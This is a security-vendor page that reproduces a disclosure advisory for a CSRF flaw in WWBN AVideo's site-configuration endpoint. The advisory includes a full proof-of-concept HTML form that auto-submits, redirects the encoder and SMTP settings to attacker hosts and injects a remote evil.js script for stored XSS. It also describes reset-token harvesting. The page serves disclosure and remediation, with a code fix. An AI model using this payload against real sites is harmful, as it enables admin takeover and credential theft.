Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘 Packagist

GHSA-vvfw-4m39-fjqf

HIGH

GHSA-vvfw-4m39-fjqf is a high-severity (CVSS 8.3) vulnerability in wwbn/avideo. O3 Security confirms whether GHSA-vvfw-4m39-fjqf is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

WWBN AVideo has CSRF in configurationUpdate.json.php Enables Full Site Configuration Takeover Including Encoder URL and SMTP Credentials

Also known asCVE-2026-40925
Published
Apr 14, 2026
Updated
May 5, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed

Blast Radius

1 pkg affected
🐘wwbn/avideo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

objects/configurationUpdate.json.php (also routed via /updateConfig) persists dozens of global site settings from $_POST but protects the endpoint only with User::isAdmin(). It does not call forbidIfIsUntrustedRequest(), does not verify a globalToken, and does not validate the Origin/Referer header. Because AVideo intentionally sets session.cookie_samesite=None to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP credentials, site <head> HTML, logo, favicon, contact email, and more in a single request.

Details

The entire authorization and CSRF check for the endpoint is this block at objects/configurationUpdate.json.php:10:

require_once $global['systemRootPath'] . 'objects/user.php';
if (!User::isAdmin()) {
    die('{"error":"' . __("Permission denied") . '"}');
}

Immediately after, $_POST values are written straight into the global AVideoConf object and persisted:

// objects/configurationUpdate.json.php
$config = new AVideoConf();
$config->setContactEmail($_POST['contactEmail']);          // :21
$config->setLanguage($_POST['language']);                  // :22
$config->setWebSiteTitle($_POST['webSiteTitle']);          // :23
$config->setDescription($_POST['description']);           // :24
$config->setAuthCanComment($_POST['authCanComment']);     // :25
$config->setAuthCanUploadVideos($_POST['authCanUploadVideos']); // :26
// Advanced (default enabled — $global['disableAdvancedConfigurations'] is empty by default):
$config->setEncoderURL($_POST['encoder_url']);            // :32
$config->setSmtp($_POST['smtp']);                         // :33
$config->setSmtpAuth($_POST['smtpAuth']);                 // :34
$config->setSmtpSecure($_POST['smtpSecure']);             // :35
$config->setSmtpHost($_POST['smtpHost']);                 // :36
$config->setSmtpUsername($_POST['smtpUsername']);         // :37
$config->setSmtpPassword($_POST['smtpPassword']);         // :38
$config->setSmtpPort($_POST['smtpPort']);                 // :39
$config->setHead($_POST['head']);                         // :42
// ...
// Logo / favicon writes:
$fileData = base64DataToImage($_POST['logoImgBase64']);   // :68
file_put_contents($global['systemRootPath'] . $photoURL, $fileData); // :71
// favicon base64 → file_put_contents → ImageMagick `convert` invocation (:88-120)
echo '{"status":"' . $config->save() . '", ...}';         // :130

Why CSRF actually lands

  1. SameSite is intentionally None. objects/include_config.php:144 sets ini_set('session.cookie_samesite', 'None') and the adjacent comment states the design: "SameSite=None is intentional: AVideo supports cross-origin iframe embedding… All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken)." This endpoint enforces no such token.

  2. Project already ships a CSRF primitive and uses it elsewhere. objects/functionsSecurity.php:138 defines forbidIfIsUntrustedRequest(), and the peer admin endpoint objects/userUpdate.json.php:18 calls it explicitly. configurationUpdate.json.php has no such call — grepping the file confirms no forbidIfIsUntrustedRequest, verifyToken, globalToken, or Origin/Referer check.

  3. The request is CORS-simple. The admin UI submits with jQuery $.ajax(...type: 'post', data: {...}) (see view/configurations_body.php:753), which sends application/x-www-form-urlencoded. That content type is a CORS "simple" request — no preflight — so any third-party origin can trigger it from a <form> with the admin's session cookie attached.

  4. Reachable via two paths. Direct POST /objects/configurationUpdate.json.php works, and .htaccess:459 also exposes it at POST /updateConfig.

Impact primitives unlocked by a single CSRF request

  • setEncoderURL() — redirects future encoder operations (URL metadata fetching, chunked uploads, remote file ingestion in aVideoEncoder.json.php / videoAddNew.json.php) to the attacker's server. Attacker-controlled encoder responses are trusted downstream for titles, descriptions, download URLs, etc.
  • setSmtpHost/Username/Password/Port/Secure/Auth — the next outbound mail (password reset, signup confirmation, admin notifications) goes through the attacker's SMTP relay, harvesting reset tokens and user credentials.
  • setHead() — attacker-chosen raw HTML is injected into every page's <head>, giving persistent site-wide stored XSS (e.g. <script src="https://attacker/evil.js"></script>) that fires in every visitor's browser including the admin, enabling session theft of arbitrary users.
  • logoImgBase64 / faviconBase64 — attacker-controlled bytes are file_put_contents-ed into the web root under videos/userPhoto/logo.png and videos/favicon.png.
  • setContactEmail, setWebSiteTitle, setAuthCanUploadVideos, setAllow_download, setSession_timeout, setAdsense, setDisable_analytics — full site policy and branding control.

PoC

  1. Attacker hosts evil.html on any origin:
<!doctype html>
<html><body>
<form id="x" action="https://victim.example.com/objects/configurationUpdate.json.php"
      method="POST" enctype="application/x-www-form-urlencoded">
  <input name="contactEmail"        value="[email protected]">
  <input name="language"            value="en">
  <input name="webSiteTitle"        value="Pwned">
  <input name="description"         value="x">
  <input name="authCanComment"      value="1">
  <input name="authCanUploadVideos" value="1">
  <input name="authCanViewChart"    value="1">
  <input name="disable_analytics"   value="0">
  <input name="allow_download"      value="1">
  <input name="session_timeout"     value="3600">
  <input name="encoder_url"         value="https://attacker.example.com/Encoder/">
  <input name="smtp"                value="1">
  <input name="smtpAuth"            value="1">
  <input name="smtpSecure"          value="tls">
  <input name="smtpHost"            value="smtp.attacker.com">
  <input name="smtpUsername"        value="attacker">
  <input name="smtpPassword"        value="password">
  <input name="smtpPort"            value="587">
  <input name="head"                value='<script src="https://attacker.example.com/evil.js"></script>'>
  <input name="adsense"             value="x">
  <input name="autoplay"            value="1">
  <input name="theme"               value="default">
</form>
<script>document.getElementById('x').submit();</script>
</body></html>

  1. Any user authenticated as AVideo administrator (User::isAdmin() true) visits https://attacker.example.com/evil.html. Their browser submits the form cross-origin; because session.cookie_samesite=None, PHPSESSID is included; because it's an application/x-www-form-urlencoded POST, no preflight is sent.

  2. Server-side check at configurationUpdate.json.php:10 passes (User::isAdmin() is true for the victim), and the body reaches $config->save() at :130. Response:

    {"status":"1","respnseLogo":[],"respnseFavicon":null}

    The site-wide configuration is now rewritten with attacker-chosen values — verifiable by visiting any page and seeing the injected <script> in the rendered <head>, and by inspecting videos/configuration.php / the configurations table.

  3. Stored-XSS pivot: every subsequent visitor (including other admins) now executes https://attacker.example.com/evil.js from the victim site's origin, yielding session theft / full admin takeover on what were previously unrelated accounts.

  4. SMTP exfiltration pivot: trigger a password-reset flow on the victim site; the SMTP handshake now goes to smtp.attacker.com:587 with attacker:password, and any future mail from AVideo is observable by the attacker.

Impact

  • Full site configuration takeover from a single cross-origin form submission against any logged-in administrator.
  • Persistent stored XSS site-wide via setHead(), affecting every visitor and enabling session hijack of other admins and users.
  • Credential / reset-token exfiltration via attacker-controlled SMTP relay.
  • Encoder pipeline hijack: attacker controls the upstream URL the server fetches metadata from, enabling downstream content and data poisoning.
  • Arbitrary file write under web root via logoImgBase64 / faviconBase64.
  • No bypass of admin auth is needed — the attacker uses the victim admin's own authenticated session; only a single visit to an attacker-controlled link is required.

Recommended Fix

Call the existing CSRF primitive immediately after the admin check, matching what objects/userUpdate.json.php:18 already does:

// objects/configurationUpdate.json.php
require_once $global['systemRootPath'] . 'objects/user.php';
require_once $global['systemRootPath'] . 'objects/functionsSecurity.php';
if (!User::isAdmin()) {
    die('{"error":"' . __("Permission denied") . '"}');
}
forbidIfIsUntrustedRequest('configurationUpdate'); // same-origin / CSRF token check

Preferably also require a short-lived globalToken (verifyToken($_REQUEST['globalToken'])) as include_config.php:140-143 prescribes, and update view/configurations_body.php to include that token in the AJAX payload. Audit all other objects/*.json.php state-mutating endpoints for the same omission — the pattern is structural and likely present on more endpoints.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐘Packagistwwbn/avideoall versionsNo fix

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Remediation status

    No patched version of wwbn/avideo has shipped for GHSA-vvfw-4m39-fjqf yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-vvfw-4m39-fjqf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-vvfw-4m39-fjqf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary `objects/configurationUpdate.json.php` (also routed via `/updateConfig`) persists dozens of global site settings from `$_POST` but protects the endpoint only with `User::isAdmin()`. It does not call `forbidIfIsUntrustedRequest()`, does not verify a `globalToken`, and does not validate the Origin/Referer header. Because AVideo intentionally sets `session.cookie_samesite=None` to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP creden
O3 Security · Impact-Aware SCA

Is GHSA-vvfw-4m39-fjqf in your dependencies?

O3 detects GHSA-vvfw-4m39-fjqf across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works